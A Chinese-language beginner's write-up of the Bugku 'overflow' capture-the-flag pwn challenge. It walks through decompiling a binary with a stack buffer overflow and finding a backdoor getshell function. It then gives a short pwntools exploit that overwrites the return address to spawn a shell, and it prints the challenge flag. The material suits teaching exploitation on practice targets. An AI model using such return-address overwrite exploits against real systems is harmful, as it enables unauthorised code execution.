Bugku overflow
第一次来做PWN题目,查了好多的资料,安装各种工具,下面就来分享一下这道题目吧,大佬勿喷。编写文章仅做学习分享使用,切勿用于商业或违法用途。
1.这里的金币很宝贵,建议先把原理弄清楚,在开启靶机,因为下载附件暂时不花费金币,010起手,查看文件类型为ELF

2.这里ELF文件,可以理解为windows中的exe文件,这种表述可能不是很准确,但是方便理解,就是Linux中的可执行程序。check过后什么保护也没开

3.先将该文件放入到kali中运行,这里需要赋予执行权限
chmod 777 pwn2
./pwn2

4.放入IDA里进行反汇编

反汇编代码如下所示
int __fastcall main(int argc, const char **argv, const char **envp)
{
_BYTE s[48]; // [rsp+0h] [rbp-30h] BYREF
memset(s, 0, sizeof(s));
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 1, 0LL);
puts("say something?");
read(0, s, 0x100uLL);
puts("oh,that's so boring!");
return 0;
}
5.粗略的读一下代码,就是定义了一个数组s,它的大小为48字节,但是下面read()函数读取的时候,确读取的是100字节,那么这部妥妥的溢出嘛,真的以为我们看不懂啊,但是我要的是flag,知道这个好像用处不大,慢慢的分析里面的玄机
_BYTE s[48]; // [rsp+0h] [rbp-30h] BYREF
不能仅仅看前面的代码,后面的注释可大有来头
这行是 IDA Pro反汇编时自动生成的局部变量注释 ,用于描述栈上数组s的类型、大小和栈帧位置,基于x86-64架构的栈帧规则。我们可以拆分为三部分理解:
1. 变量声明:_BYTE s[48]
- _BYTE :IDA定义的字节类型(等价于C语言的 unsigned char 或 char )。
- s :IDA自动赋予的变量名(可手动重命名)。
-
48\] :数组大小为48字节(十进制),即0x30字节(十六进制)。
这部分是 数组 s 在栈帧中的精确地址偏移 ,基于两个寄存器:
-
rsp :栈指针寄存器,指向当前栈顶(低地址)。
-
rsp+0h\] 表示:数组 s 的 起始地址 与当前 rsp 重合(偏移0字节)。
-
rbp-30h\] 表示:数组 s 的 起始地址 在 rbp 下方0x30字节(即48字节)处。 **3. 访问方式:BYREF** IDA的特殊注释,含义是: 该变量通过"引用/地址"访问 (而非直接按值访问)。在汇编中,这意味着代码会通过 s 的地址(如 lea rax, \[rbp-30h\] )来操作它,常见于:
-
对数组元素进行取址操作。
-
栈缓冲区溢出场景中, s 是被溢出的目标缓冲区。
结合栈帧结构的完整理解

6.前面AI总结的就一句话------从栈结构中可以看到,数组 s 的大小是 48 字节(0x30)。我们需要覆盖返回地址,因此需要填充 48 字节的缓冲区,再加上 8 字节的栈帧指针(EBP)

7.可能到这里,你觉得我仅仅是解释了代码,和获取flag有什么关系,不知道你注意到没前面的main()下面,有个getshell的方法。

8.没错,就是想的那样,出题人给我们留的后门,让我们获取flag变得更简单,你可能会说和前面讲的一大堆,好像不沾边吧。其实,我们的目的就是要获取flag,那么我们的想办法执行这个后门函数,那么如果是你的话,你肯定会想着指针直接指向这个后门不就行了。恭喜你,你的思路是正确的,来编写exp吧,这里需要提示的是还得知道这个后门函数的地址,使用IDA中点击导出即可

9.获取到后门函数的地址x400751 这下还不写exp
from pwn import *
#io = process('pwn2')
io = remote("ip地址","端口号")
payload = b'a'*(0x30 + 0x8) + p64(0x400751)
io.recvline("say something?\n")
io.send(payload)
io.interactive()

10.成功获取flag
flag{99kls08s6d5a73bcd}
